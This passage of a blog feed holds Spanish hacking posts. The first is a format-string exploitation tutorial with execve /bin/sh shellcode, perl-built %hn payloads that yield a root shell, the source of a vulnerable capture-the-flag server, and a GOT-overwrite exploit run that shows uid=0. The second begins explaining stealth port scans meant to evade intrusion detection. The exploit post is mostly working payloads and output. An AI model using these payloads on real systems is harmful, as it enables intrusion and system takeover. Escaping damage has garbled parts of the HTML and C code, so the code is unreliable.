eso?, pues que tal escribir&lt;br /&gt;cualquier direccion que quieras? y donde quieras? ...&lt;br /&gt;Toma en cuenta que las primeras direcciones son donde quieres escribir y&lt;br /&gt;la segunda la direccion que quieres escribir, veamos primero chequemos&lt;br /&gt;donde esta nuestro buffer y de paso le ponemos shellcode digo para que de&lt;br /&gt;un shell o algo asi bonito no?&lt;br /&gt;Vamos a usar este shellcode:&lt;br /&gt;"\x31\xd2\x31\xc9\x31\xdb\x31\xc0\xb0\xa4\xcd\x80\xb0\x2e\xcd\x80\xeb\x15&lt;br /&gt;\x5b\x89\x5b\x08\x31\xc0\x88\x43\x07\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x31xd2\xcd\x80\xe8\xe6\xff\xff\xff/bin/sh\x90\"&lt;br /&gt;Un simple execve() de /bin/sh, nada raro ...&lt;br /&gt;[root@XtremeLinux format]# ./fmt `perl -e 'print "\x2c\xf9\xff\xbf";&lt;br /&gt;print "AAAA"; print "\x2e\xf9\xff\xbf"; print "\x90" x 138; print&lt;br /&gt;"\"\x31\xd2\x31\xc9\x31\xdb\x31\xc0\xb0\xa4\xcd\x80\xb0\x2e\xcd\x80\xeb\x&lt;br /&gt;15\x5b\x89\x5b\x08\x31\xc0\x88\x43\x07\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x3&lt;br /&gt;1\xd2\xcd\x80\xe8\xe6\xff\xff\xff/bin/sh\x90\""; print&lt;br /&gt;"AAAA%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.48607x%hn%.65808x%hn";'`&lt;br /&gt;1%/1€’iso8859-&lt;br /&gt;15ÒÍèæÿÿÿ/bin/sh"AAAA000007d961616161616161610061616140013bc80000000&lt;br /&gt;bfffbeef&lt;br /&gt;aaaaaaaaaaa adr: bffff910&lt;br /&gt;[root@XtremeLinux format]#&lt;br /&gt;Ahora escribimos en otro lugar para ver que direccion esta test:&lt;br /&gt;[root@XtremeLinux format]# ./fmt `perl -e 'print "\x4c\xf9\xff\xbf";&lt;br /&gt;print "AAAA"; print "\x4e\xf9\xff\xbf"; print "\x90" x 138; print&lt;br /&gt;"\"\x31\xd2\x31\xc9\x31\xdb\x31\xc0\xb0\xa4\xcd\x80\xb0\x2e\xcd\x80\xeb\x&lt;br /&gt;15\x5b\x89\x5b\x08\x31\xc0\x88\x43\x07\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x3&lt;br /&gt;1\xd2\xcd\x80\xe8\xe6\xff\xff\xff/bin/sh\x90\""; print&lt;br /&gt;"AAAA%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.48607x%hn%.65808x%hn";'`&lt;br /&gt;1%/1€’iso8859-&lt;br /&gt;15ÒÍèæÿÿÿ/bin/sh"AAAA000007d961616161616161610061616140013bc80000000&lt;br /&gt;bffff92c&lt;br /&gt;aaaaaaaaaaa adr: bffff910&lt;br /&gt;[root@XtremeLinux format]#&lt;br /&gt;0xbffff92c es la direccion donde esta test, donde estara nuestro buffer?&lt;br /&gt;256 bytes abajo!, le sumamos unos 16 mas para poder caer bien en los NOPs&lt;br /&gt;(0x90 es una ayudita no?) entonces nuestro buffer estara en la direccion&lt;br /&gt;0xbffff83c, vamos a armar la direccion primero&lt;br /&gt;[root@XtremeLinux format]# ./fmt `perl -e 'print "\x2c\xf9\xff\xbf";&lt;br /&gt;print "AAAA"; print "\x2e\xf9\xff\xbf"; print "\x90" x 138; print&lt;br /&gt;"\"\x31\xd2\x31\xc9\x31\xdb\x31\xc0\xb0\xa4\xcd\x80\xb0\x2e\xcd\x80\xeb\x&lt;br /&gt;15\x5b\x89\x5b\x08\x31\xc0\x88\x43\x07\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x3&lt;br /&gt;1\xd2\xcd\x80\xe8\xe6\xff\xff\xff/bin/sh\x90\""; print&lt;br /&gt;"AAAA%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.63276x%hn%.51139x%hn";'`&lt;br /&gt;1%/1€’iso8859-&lt;br /&gt;15ÒÍèæÿÿÿ/bin/sh"AAAA000007d961616161616161610061616140013bc80000000&lt;br /&gt;bffff83c&lt;br /&gt;aaaaaaaaaaa adr: bffff910&lt;br /&gt;[root@XtremeLinux format]#&lt;br /&gt;Escribir sobre la direccion de test para verificar si lo hice bien, yo si&lt;br /&gt;y tu? ...&lt;br /&gt;Ahora vamos a lo dificil escribir sobre el EIP, donde estara el eip?&lt;br /&gt;esta 8 bytes abajo del buffer que esta 256 bytes abajo de la variable&lt;br /&gt;test, asi como sabemos la direccion de test (0xbffff92c) le restamos y&lt;br /&gt;escribimos ahi:&lt;br /&gt;[root@XtremeLinux format]# ./fmt `perl -e 'print "\x24\xf8\xff\xbf";&lt;br /&gt;print "AAAA"; print "\x26\xf8\xff\xbf"; print "\x90" x 138; print&lt;br /&gt;"\"\x31\xd2\x31\xc9\x31\xdb\x31\xc0\xb0\xa4\xcd\x80\xb0\x2e\xcd\x80\xeb\x&lt;br /&gt;15\x5b\x89\x5b\x08\x31\xc0\x88\x43\x07\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x3&lt;br /&gt;1\xd2\xcd\x80\xe8\xe6\xff\xff\xff/bin/sh\x90\""; print&lt;br /&gt;"AAAA%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.63276x%hn%.51139x%hn";'`&lt;br /&gt;bffff92c&lt;br /&gt;aaaaaaaaaaa adr: bffff910&lt;br /&gt;sh-2.05a#&lt;br /&gt;mira mira! ya pudimos explotar codigo, ahora que pasa si escribes dentro&lt;br /&gt;del GOT? el GOT es la parte del heap en donde esta toda la tabla de&lt;br /&gt;comandos que se ejecutan en cada programa. Hace poco hubo un con e&lt;br /&gt;hicieron un catura la bandera, como taba carito no pude ir pero dejaron&lt;br /&gt;la solucion y los programas dentro de su paginita: www.g-con.org&lt;br /&gt;Uno de esos era un programa que tenia un format bug, remoto para esos es&lt;br /&gt;poder tener una entrada de got para que funcione siempre porque el stak&lt;br /&gt;se puede mover mucho ademas que bueno aqui medio veiamos el stack, en&lt;br /&gt;este tambien un poco pero sirve para usar la siguiente forma de ataque al&lt;br /&gt;GOT.&lt;br /&gt;Aqui esta el programa que tenian ellos en el server:&lt;br /&gt;---listado.c---&lt;br /&gt;#include &lt;stdio.h&gt;&lt;br /&gt;#include &lt;stdlib.h&gt;&lt;br /&gt;#include &lt;unistd.h&gt;&lt;br /&gt;#include &lt;sys&gt;&lt;br /&gt;#include &lt;netinet&gt;&lt;br /&gt;#include &lt;netdb.h&gt;&lt;br /&gt;#define INFO_PONENCIAS '1'&lt;br /&gt;#define INFO_GCON '2'&lt;br /&gt;#define INFO_PONENTES '3'&lt;br /&gt;#define SALIR '4'&lt;br /&gt;#define MENU '5'&lt;br /&gt;struct _ponentes {&lt;br /&gt;char *ponente;&lt;br /&gt;char *informacion;&lt;br /&gt;char *ponencia;&lt;br /&gt;} ponencias[] = {&lt;br /&gt;{"pepito", "ponente en blackhat", "como romper pepitos"},&lt;br /&gt;{"anakata", "http://www.anakata.hack.se", "Complex&lt;br /&gt;explotation scenarios, including memcpy(), also various shellcodes."},&lt;br /&gt;{"aitel", "Dave Aitel es el fundador y consultor de&lt;br /&gt;seguridad de Immunity, Inc. Sus contribuciones publicas al mundo de la&lt;br /&gt;seguridad incluyen SPIKE, suite de aplicaciones de control y analisis. Y&lt;br /&gt;Vulnerabilidades en mayor manera hacia sistemas Windows NT RPC y&lt;br /&gt;Microsoft Exchange y Microsoft SQL Server 2000.", "Advanced windows&lt;br /&gt;overflows"},&lt;br /&gt;{"richarte", "Gerardo Richarte es Director de CORE SECURITY&lt;br /&gt;TECHNOLOGIES.", "Advanced PTrace explotation and Automated Pentesting."},&lt;br /&gt;{"guillermo", "Kaspersky Lab Chief Research Officer.",&lt;br /&gt;"Advanced PE Steganographic infection"},&lt;br /&gt;{"enrique", "Kaspersky Lab Chief Technicall Officer.",&lt;br /&gt;"Advanced polimorfic virus with steganographic parser on UNIX, Beating&lt;br /&gt;the forensics analizis (Stego tool) and Taking over a corporative network&lt;br /&gt;in less than 50 lines of C code"},&lt;br /&gt;{NULL, NULL, NULL}&lt;br /&gt;};&lt;br /&gt;void ImpMenu(int fd, char *nombre);&lt;br /&gt;void Info_Ponencias(int fd);&lt;br /&gt;void Info_Gcon(int fd);&lt;br /&gt;void Info_Ponentes(int fd);&lt;br /&gt;char ObtOpcion();&lt;br /&gt;int main(void) {&lt;br /&gt;char opcion = 0;&lt;br /&gt;int i = 0, cli_size;&lt;br /&gt;char nombre[256];&lt;br /&gt;int s, c;&lt;br /&gt;struct sockaddr_in ser, cli;&lt;br /&gt;bzero(nombre, sizeof(nombre));&lt;br /&gt;if((s = socket(AF_INET, SOCK_STREAM, 0)) == -1) {&lt;br /&gt;perror("socket()");&lt;br /&gt;return -1;&lt;br /&gt;}&lt;br /&gt;ser.sin_family = AF_INET;&lt;br /&gt;ser.sin_addr.s_addr = INADDR_ANY;&lt;br /&gt;ser.sin_port = htons((unsigned short int)9999);&lt;br /&gt;if(bind(s, (struct sockaddr *)&amp;ser, sizeof(ser)) == -1) {&lt;br /&gt;perror("bind()");&lt;br /&gt;return -1;&lt;br /&gt;}&lt;br /&gt;if(listen(s, 3) == -1) {&lt;br /&gt;perror("listen()");&lt;br /&gt;return -1;&lt;br /&gt;}&lt;br /&gt;while(1) {&lt;br /&gt;if((c = accept(s, (struct sockaddr *)&amp;cli, &amp;amp;cli_size)) == -1) {&lt;br /&gt;perror("accept()");&lt;br /&gt;continue;&lt;br /&gt;}&lt;br /&gt;write(c, "Introduce tu nombre: ", strlen("Introduce tu nombre:&lt;br /&gt;"));&lt;br /&gt;read(c, nombre, sizeof(nombre)-1);&lt;br /&gt;if(nombre[strlen(nombre)-1] == '\n') nombre[strlen(nombre)-&lt;br /&gt;1]='\0';&lt;br /&gt;ImpMenu(c, nombre);&lt;br /&gt;while(1) {&lt;br /&gt;opcion = 0;&lt;br /&gt;while(!opcion)&lt;br /&gt;opcion = ObtOpcion(c);&lt;br /&gt;switch(opcion) {&lt;br /&gt;case MENU: ImpMenu(c, nombre); break;&lt;br /&gt;case INFO_PONENCIAS: Info_Ponencias(c); break;&lt;br /&gt;case INFO_GCON: Info_Gcon(c); break;&lt;br /&gt;case INFO_PONENTES: Info_Ponentes(c); break;&lt;br /&gt;case SALIR:&lt;br /&gt;write(c, "\r\n\r\nAplicacion saliendo...\n",&lt;br /&gt;strlen("\r\n\r\nAplicacion saliendo...\n"));&lt;br /&gt;// close(c); close(s);&lt;br /&gt;exit(0); break;&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;close(c);&lt;br /&gt;}&lt;br /&gt;if(c) close(c);&lt;br /&gt;close(s);&lt;br /&gt;return 0;&lt;br /&gt;}&lt;br /&gt;void ImpMenu(int fd, char *nombre) {&lt;br /&gt;char menu[4096];&lt;br /&gt;bzero(menu, sizeof(menu));&lt;br /&gt;snprintf(menu, 4095, "\nBienvenido %s, escoje una opcion:\nmenu :&lt;br /&gt;Imprime el menu\n1 : Informacion sobre las ponencias\n2 :&lt;br /&gt;Informacion sobre g-con\n3 : Informacion sobre los ponentes\n4 :&lt;br /&gt;Salir\n\n", nombre);&lt;br /&gt;write(fd, menu, strlen(menu));&lt;br /&gt;}&lt;br /&gt;void Info_Ponencias(int fd) {&lt;br /&gt;int num = 0, x = 0, y = 0, i;&lt;br /&gt;char ponente[256], actual[256], original[256];&lt;br /&gt;bzero(ponente, sizeof(ponente));&lt;br /&gt;bzero(original, sizeof(original));&lt;br /&gt;while(ponencias[num].ponencia)&lt;br /&gt;num++;&lt;br /&gt;write(fd, "Escribe nombre del ponente: ",&lt;br /&gt;strlen("Escribe nombre del ponente: "));&lt;br /&gt;read(fd, ponente, sizeof(ponente)-1);&lt;br /&gt;if(ponente[strlen(ponente)-1] == '\n') ponente[strlen(ponente)-&lt;br /&gt;1]='\0';&lt;br /&gt;strcpy(original, ponente);&lt;br /&gt;for(i=0;i&lt;strlen i="" actual="" y="0;y&lt;strlen(ponencias[i].ponente)"&gt;&lt; num =" 0," x =" 0," y =" 0," i="0;i&lt;strlen" i="" actual="" y="0;y&lt;strlen(ponencias[i].ponente)"&gt;&lt;&gt; ", 2);&lt;br /&gt;read(fd, car, 255);&lt;br /&gt;car[255]=0;&lt;br /&gt;if(car[strlen(car)-1] == '\n') car[strlen(car)-1] = '\0';&lt;br /&gt;if(strlen(car) &lt;&gt; 3&lt;br /&gt;Escribe nombre del ponente: AAAA%.8x%.8x%.8x%.8x%.8x&lt;br /&gt;No se encontro ningun ponente llamado&lt;br /&gt;AAAA000000004141414178382e2578382e2578382e25&lt;br /&gt;&gt; 4&lt;br /&gt;Aplicacion saliendo...&lt;br /&gt;sent 34, rcvd 347&lt;br /&gt;[root@XtremeLinux Format_App]#&lt;br /&gt;Pues si ahi esta el puto format bug, vamos vamos!!! si se puede si se&lt;br /&gt;puede!&lt;br /&gt;Okas primero veamos que putas funciones corre y en que direccion estan:&lt;br /&gt;[root@XtremeLinux Format_App]# objdump -R listado2&lt;br /&gt;listado2: file format elf32-i386&lt;br /&gt;DYNAMIC RELOCATION RECORDS&lt;br /&gt;OFFSET TYPE VALUE&lt;br /&gt;0804acb8 R_386_GLOB_DAT __gmon_start__&lt;br /&gt;0804ac6c R_386_JUMP_SLOT __register_frame_info&lt;br /&gt;0804ac70 R_386_JUMP_SLOT write&lt;br /&gt;0804ac74 R_386_JUMP_SLOT strcmp&lt;br /&gt;0804ac78 R_386_JUMP_SLOT perror&lt;br /&gt;0804ac7c R_386_JUMP_SLOT accept&lt;br /&gt;0804ac80 R_386_JUMP_SLOT tolower&lt;br /&gt;0804ac84 R_386_JUMP_SLOT listen&lt;br /&gt;0804ac88 R_386_JUMP_SLOT __deregister_frame_info&lt;br /&gt;0804ac8c R_386_JUMP_SLOT strstr&lt;br /&gt;0804ac90 R_386_JUMP_SLOT strlen&lt;br /&gt;0804ac94 R_386_JUMP_SLOT __libc_start_main&lt;br /&gt;0804ac98 R_386_JUMP_SLOT bind&lt;br /&gt;0804ac9c R_386_JUMP_SLOT snprintf&lt;br /&gt;0804aca0 R_386_JUMP_SLOT bzero&lt;br /&gt;0804aca4 R_386_JUMP_SLOT exit&lt;br /&gt;0804aca8 R_386_JUMP_SLOT htons&lt;br /&gt;0804acac R_386_JUMP_SLOT socket&lt;br /&gt;0804acb0 R_386_JUMP_SLOT read&lt;br /&gt;0804acb4 R_386_JUMP_SLOT strcpy&lt;br /&gt;[root@XtremeLinux Format_App]#&lt;br /&gt;tenemos las direcciones ahora solo tenemos que ver que pedo con ellas:&lt;br /&gt;Todo el desmadre esta en Info_Ponentes()&lt;br /&gt;---listado.c---&lt;br /&gt;....&lt;br /&gt;....&lt;br /&gt;if(!x) {&lt;br /&gt;write(fd, "\r\n", 2);&lt;br /&gt;write(fd, "No se encontro ningun ponente llamado ",&lt;br /&gt;strlen("No se encontro ningun ponente llamado "));&lt;br /&gt;bzero(actual, sizeof(actual));&lt;br /&gt;snprintf(actual, sizeof(actual)-1, original);&lt;br /&gt;write(fd, actual, strlen(actual));&lt;br /&gt;write(fd, "\n", 1);&lt;br /&gt;}&lt;br /&gt;....&lt;br /&gt;....&lt;br /&gt;---listado.c---&lt;br /&gt;chequen el snprintf() pusieron un strcpy() arriba para despistar pero los&lt;br /&gt;tamanios son los mismos ni pedo la vida es asi al format =/&lt;br /&gt;Bueno entonces tenemos que podemos hacer el format y sabemos donde esta,&lt;br /&gt;podemos sobrescribir el write o sobrescribir el exit y despues mandar el&lt;br /&gt;4 para que salga y te de el pinche shell la que quieras, hay pen pequeño&lt;br /&gt;puto problema:&lt;br /&gt;Ven dentro de listado.c la siguiente puta linea??&lt;br /&gt;for(y=0;y&lt;strlen ponente="" y=""&gt;&lt;&gt; execve()-&gt;/bin/sh si no no jala!),&lt;br /&gt;puta madre ahora que hacemos?, pues nada we nada, tomar la direccion del&lt;br /&gt;original a ese no le aplican el pinche tolower()!!! a buscar a buscar en&lt;br /&gt;el gdb hay que buscar ... no es bonito y les da mucha ilusion?&lt;br /&gt;Quien sabe usar gdb quien quien quien? nadie? pocos? muchos?&lt;br /&gt;manden 41424344 y busquenlo en la memoria, de ahi saben la direccion que&lt;br /&gt;deben ustedes de poner en la escritura, yo recomiendo usar exit() ya que&lt;br /&gt;write truena bastante, jala bonito eh .. bastante:&lt;br /&gt;[root@XtremeLinux g-con]# ./x-listado 127.0.0.1&lt;br /&gt;sending&lt;br /&gt;Linux XtremeLinux.raza-mexicana.org 2.4.18-3 #1 Thu Apr 18 07:37:53 EDT&lt;br /&gt;2002 i686 unknown&lt;br /&gt;uid=0(root) gid=0(root)&lt;br /&gt;groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)&lt;br /&gt;exit&lt;br /&gt;[root@XtremeLinux g-con]#&lt;br /&gt;Bueno eso es todo, la hueva intrinseca no da para mas, en caso de tener&lt;br /&gt;algun problema 0x90@raza-mexicana.org y les contesto.&lt;br /&gt;Intentenle y calenle, hay de todo por ahi, como ataques a syslog() y&lt;br /&gt;demas. Prometo escribir la version avanzada en la proxima ezine.&lt;br /&gt;0x90&lt;br /&gt;"The louder the music the better the code!"&lt;/strlen&gt;&lt;/strlen&gt;&lt;/strlen&gt;&lt;/netdb.h&gt;&lt;/netinet&gt;&lt;/sys&gt;&lt;/unistd.h&gt;&lt;/stdlib.h&gt;&lt;/stdio.h&gt;&lt;/los&gt;&lt;/nops&gt;&lt;/direccion&gt;&lt;/direccion&gt;&lt;/main&gt;&lt;/main&gt;&lt;/main&gt;&lt;/main&gt;&lt;/stdlib.h&gt;&lt;/stdio.h&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13066511-111666123347490160?l=hax0rs.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hax0rs.blogspot.com/feeds/111666123347490160/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13066511&amp;postID=111666123347490160' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13066511/posts/default/111666123347490160'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13066511/posts/default/111666123347490160'/><link rel='alternate' type='text/html' href='http://hax0rs.blogspot.com/2005/05/varios-ejemplos-de-format-bugs-y.html' title='...&quot;varios ejemplos de format bugs y varias tecnicas&quot;...'/><author><name>KsiAnonimo</name><uri>http://www.blogger.com/profile/00509391750525459004</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.cogitoalius.com.ar/avatarcogitoalius.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13066511.post-111666119259179177</id><published>2005-05-21T00:39:00.000-07:00</published><updated>2005-05-21T00:39:52.603-07:00</updated><title type='text'>Tecnicas de Escaneo Dumb, Half Open, Xmass, Null y FIN Scan. ACK e Inverse Scan.</title><content type='html'>&lt;pre&gt;=[Tecnicas de Escaneo]=&lt;br /&gt;&lt;br /&gt;-[hd &lt;hd@hakim.ws&gt;]-&lt;br /&gt;&lt;br /&gt;=[Introducción]=&lt;br /&gt;&lt;br /&gt;Todos los días se puede ver gente en cualquier parte de Internet con&lt;br /&gt;la misma pregunta de siempre... ¿Como me inicio en el mundo del hack?&lt;br /&gt;¿Como comienzo?, ¿Que debo leer? , antes que nada cabe aclarar de una&lt;br /&gt;vez que no soy hacker ni mucho menos, simplemente algo curioso. Y más&lt;br /&gt;de alguno ha leido que hay que bajarse un programa llamado 'scaneador&lt;br /&gt;de puertos' con el que te dice los "servicios", que está corriendo el&lt;br /&gt;host que nos interesa, así que lo primero que hacen es ir en busca de&lt;br /&gt;un programita de estos que nos de esa información tan valiosa...&lt;br /&gt;&lt;br /&gt;Bueno, algo así le pasó a el amigo de un amigo, pero en la actualidad&lt;br /&gt;hay herramientas tan 'sofisticadas' ante esas 'amenazas', ya cualquier&lt;br /&gt;administrador decente cuenta en su red con un IDS, y si lo ponemos a&lt;br /&gt;punto, pues es una magnifica herramienta para detectar este tipo de a-&lt;br /&gt;taques a nuestros servidores. Así que, el punto era que no debemos de&lt;br /&gt;usar los scaneadores de puertos?, no, solo explicaré un poco más a fon-&lt;br /&gt;do algunos métodos de escaneo más discretos y que podamos pasar un poco&lt;br /&gt;más desapercibidos.&lt;br /&gt;&lt;br /&gt;Dividiré el txt en dos secciones, en la primera mostraré algunos tipos&lt;br /&gt;de escaneos para ver si un puerto está abierto o no. La segunda parte&lt;br /&gt;tratará un par de opciones para saber si un host existe o no en internet&lt;br /&gt;pero esta vez solo con tcp y no ICMP como estamos acostumbrados.&lt;br /&gt;&lt;br /&gt;Nota: supongo que para este punto tienes una leve idea de lo que es el&lt;br /&gt;     tcp/ip, cierto?&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[Extracto de Flags en tcp/ip]&lt;br /&gt;&lt;br /&gt;Nota: este pequeño extracto salio del texto escrito por Guybrush para&lt;br /&gt;     RazaMexicana...&lt;br /&gt;&lt;br /&gt;&lt;++&gt;&lt;br /&gt;...&lt;br /&gt;- FLAGS : Hay seis banderas de 1 bit:&lt;br /&gt;&lt;br /&gt; 1. URG : Se establece en 1 si esta en uso el apuntador urgente.&lt;br /&gt;          El apuntador urgente  sirve para indicar un  desplazamiento en&lt;br /&gt;          bytes a  partir  del numero actual  de secuencia  en el que se&lt;br /&gt;          encuentran datos urgentes. Este recurso sustituye los mensajes&lt;br /&gt;          de interrupcion.&lt;br /&gt;&lt;br /&gt; 2. ACK : Se establece en 1 para indicar que el numero de acuse de recibo&lt;br /&gt;          es valido.  Si el ACK es 0, el segmento no contiene un acuse de&lt;br /&gt;          recibo,por lo que se ignora el campo de numero de acuse de recibo.&lt;br /&gt;&lt;br /&gt; 3. PSH : Indica datos empujados  (con PUSH).  Por este medio se solicita&lt;br /&gt;          atentamente al receptor entregar los datos a la aplicacion a su&lt;br /&gt;          llegada y no  ponerlos  en el  buffer  hasta la recepcion de un&lt;br /&gt;          buffer completo.&lt;br /&gt;&lt;br /&gt; 4. RST : Se usa para restablecer una conexion que se ha confundido debido&lt;br /&gt;          a una caida de host u otra razon; tambien sirve para rechazar un&lt;br /&gt;          segmento no valido o un intento de abrir una conexion.&lt;br /&gt;&lt;br /&gt; 5. SYN : Se usa para restablecer conexiones.  La solicitud de conexiones&lt;br /&gt;          tiene SYN = 1  y  ACK = 0 para indicar que el campo de acuse de&lt;br /&gt;          recibo incorporado no esta en uso.  La respuesta de conexion si&lt;br /&gt;          lleva un reconocimiento, por lo que tiene SYN = 1 y ACK = 1.&lt;br /&gt;&lt;br /&gt; 6. FIN : Se usa para liberar una conexion;  especifica  que el transmisor&lt;br /&gt;          no tiene mas datos que transmitir.  Sin embargo, tras cerrar una&lt;br /&gt;          conexion, un proceso puede continuar recibiendo datos&lt;br /&gt;          indefinidamente.&lt;br /&gt;...&lt;br /&gt;&lt;--&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;---------------&lt;br /&gt;&gt;PRIMERA PARTE.&lt;br /&gt;===============&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;----------------------&lt;br /&gt;=[Seción TCP típica]=&lt;br /&gt;----------------------&lt;br /&gt;&lt;br /&gt;Cuando queremos comenzar una conexión común y corriente deacuerdo al&lt;br /&gt;protocolo se usa de la siguiente manera:&lt;br /&gt;&lt;br /&gt;*Nuestro host manda un paquete tcp, con los flags SYN en 1 (o prendido&lt;br /&gt;como quieran llamarle), y el ACK en 0 y esperamos una respuesta.&lt;br /&gt;&lt;br /&gt;*Si el puerto al que queremos alcanzar está en LISTEN (escucha) el host&lt;br /&gt;puede aceptar o rechazar la conexión, aquí hay dos caminos:&lt;br /&gt;&lt;br /&gt;A) Acepta: el host nos responde con un paquete con los flags SYN y ACK&lt;br /&gt;           prendidos, nosotros al final mandamos su ACK.&lt;br /&gt;&lt;br /&gt;B) Niega: el host nos responde con un paquete con los flags RST y ACK&lt;br /&gt;          prendidos.&lt;br /&gt;&lt;br /&gt;Así que como podemos ver, se hace una conexión completa con este medio&lt;br /&gt;por lo que los IDS nos agarran al hacer demasiadas conexiones que duran&lt;br /&gt;tan poco tiempo, e intentar muchas otras.&lt;br /&gt;&lt;br /&gt;Ahora ya sabes un poco como trabaja un scaneador de puertos tradicional&lt;br /&gt;si logra conectar con el puerto, nos lo informa. Pero esto hoy en día es&lt;br /&gt;logueado al 100% y no queremos embarrar nuestra IP en montones de archi-&lt;br /&gt;vos de logs, cierto?&lt;br /&gt;&lt;br /&gt;Ahora pasaremos a ver otras tecnicas de escaneo donde no presisamos co-&lt;br /&gt;menzar una seción tcp tradicional para conocer el estado del puerto, en&lt;br /&gt;estos casos siguiente no se habre una conexión completa, por decirlo de&lt;br /&gt;alguna manera.&lt;br /&gt;&lt;br /&gt;NOTA: Para los logs estaremos en una shell linux, usando hping, ya que&lt;br /&gt;     este nos proporciona las estadísticas de envío, cosa que algunas&lt;br /&gt;     herramientas bajo windows no dan, o al menos las que he probado.&lt;br /&gt;&lt;br /&gt;[Log]&lt;br /&gt;&lt;br /&gt;Probaremos toda la teoría que veamos en pequeños registros, a continu-&lt;br /&gt;ación el primero de ellos mostrando una seción tcp típica.&lt;br /&gt;No veo la necesidad de esconder las IP, ya que la mía es dínamica y es&lt;br /&gt;la primera vez que me saca de los rangos "comunes", así que no hay mucho&lt;br /&gt;problema.&lt;br /&gt;&lt;br /&gt;CASO A: El puerto está abierto&lt;br /&gt;&lt;br /&gt;  [root@bsdmex crypkey]# hping -S -p 80 200.64.170.73&lt;br /&gt;  HPING 200.64.170.73 (ppp0 200.64.170.73): S set, 40 headers + 0 data bytes&lt;br /&gt;  len=44 ip=200.64.170.73 flags=SA DF seq=150 ttl=119 id=7017 win=8760 rtt=153.4 ms&lt;br /&gt;  len=44 ip=200.64.170.73 flags=SA DF seq=166 ttl=119 id=7025 win=8760 rtt=177.0 ms&lt;br /&gt;  len=44 ip=200.64.170.73 flags=SA DF seq=217 ttl=119 id=7026 win=8760 rtt=196.7 ms&lt;br /&gt;  len=44 ip=200.64.170.73 flags=SA DF seq=219 ttl=119 id=7030 win=8760 rtt=238.4 ms&lt;br /&gt;&lt;br /&gt;* Como podemos ver mi PC responde con las flags Syn y Ack prendidas (flags=SA)&lt;br /&gt;lo que nos indica el estado de disponibilidad de nuestro puerto.&lt;br /&gt;&lt;br /&gt;CASO B: El puerto está cerrado&lt;br /&gt;&lt;br /&gt;  [root@bsdmex crypkey]# hping -S -p 80 200.64.170.73&lt;br /&gt;  HPING 200.64.170.73 (ppp0 200.64.170.73): S set, 40 headers + 0 data bytes&lt;br /&gt;  len=40 ip=200.64.170.73 flags=RA seq=125 ttl=119 id=7007 win=0 rtt=254.8 ms&lt;br /&gt;  len=40 ip=200.64.170.73 flags=RA seq=127 ttl=119 id=7009 win=0 rtt=254.8 ms&lt;br /&gt;  len=40 ip=200.64.170.73 flags=RA seq=130 ttl=119 id=7013 win=0 rtt=254.8 ms&lt;br /&gt;  len=40 ip=200.64.170.73 flags=RA seq=135 ttl=119 id=7015 win=0 rtt=254.8 ms&lt;br /&gt;&lt;br /&gt;* Esta vez mi PC responde con los flags Rst y Ack prendidos (flags=RA).&lt;br /&gt;&lt;br /&gt;Ahora que ya tenemos bien fundamentada la teoría podemos pasar con más tecni-&lt;br /&gt;cas.&lt;br /&gt;&lt;br /&gt;NoTA: Gracias a crypkey por rolar shell para loguear este apartado.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;------------&lt;br /&gt;=[DumbScan]=&lt;br /&gt;------------&lt;br /&gt;&lt;br /&gt;[Historia]&lt;br /&gt;&lt;br /&gt;Aparecio por primera vez según tengo entendido en un post de BUGTRAQ el&lt;br /&gt;18 de Diciembre de 1998. Se le llamó de este modo gracias a que es necesario&lt;br /&gt;contar con un host 'silencioso', al que embarraremos en los logs del host&lt;br /&gt;que queremos scanear (si es que alcanza a logear...).&lt;br /&gt;&lt;br /&gt;Su 'descubridor' por así decirlo fue 'antirez'.&lt;br /&gt;&lt;br /&gt;[Teoría]&lt;br /&gt;&lt;br /&gt;Primero que nada necesitamos contar con un host que practicamente no ten-&lt;br /&gt;ga NADA de trafico en internet, hay varios, he visto redes enteras llenas,&lt;br /&gt;de instalaciones de IIS con las opciones por default, y sin pagina de index&lt;br /&gt;esos nos sirven muy bien para los terminos que necesitamos.&lt;br /&gt;Pensaba escribir los rangos de Ip donde se pueden encontrar pero mejor no&lt;br /&gt;me meto en problemas, o a ti te gustaría que un grupo de gente sin vida&lt;br /&gt;social practicamente tome tus servidores de juguete?, verdad que no?&lt;br /&gt;&lt;br /&gt;Bueno, ahora si comenzemos con la teoría:&lt;br /&gt;&lt;br /&gt;Nombraremos a los host en este orden:&lt;br /&gt;&lt;br /&gt;A&gt; Será nuestra maquina&lt;br /&gt;B&gt; Será el host que queremos escanear&lt;br /&gt;c&gt; Será el host sin trafico, de aquí viene el nombre de 'dumb'&lt;br /&gt;&lt;br /&gt;Nosotros comenzamos midiendo el trafico que genera el host C, con hping se&lt;br /&gt;puede (Originalmente era con la opción '-r', en la versión &lt; 1, hoy en día&lt;br /&gt;están por sacar la versión 3...). Al parecer solo se cambio en hping1 ya que&lt;br /&gt;en el MAN de hping2 podemos ver de nuevo:&lt;br /&gt;&lt;br /&gt;-r --rel&lt;br /&gt;Display id increments instead of id. See the HPING2-HOWTO for more information.&lt;br /&gt;Increments aren't computed as id[N]-id[N-1] but using packet 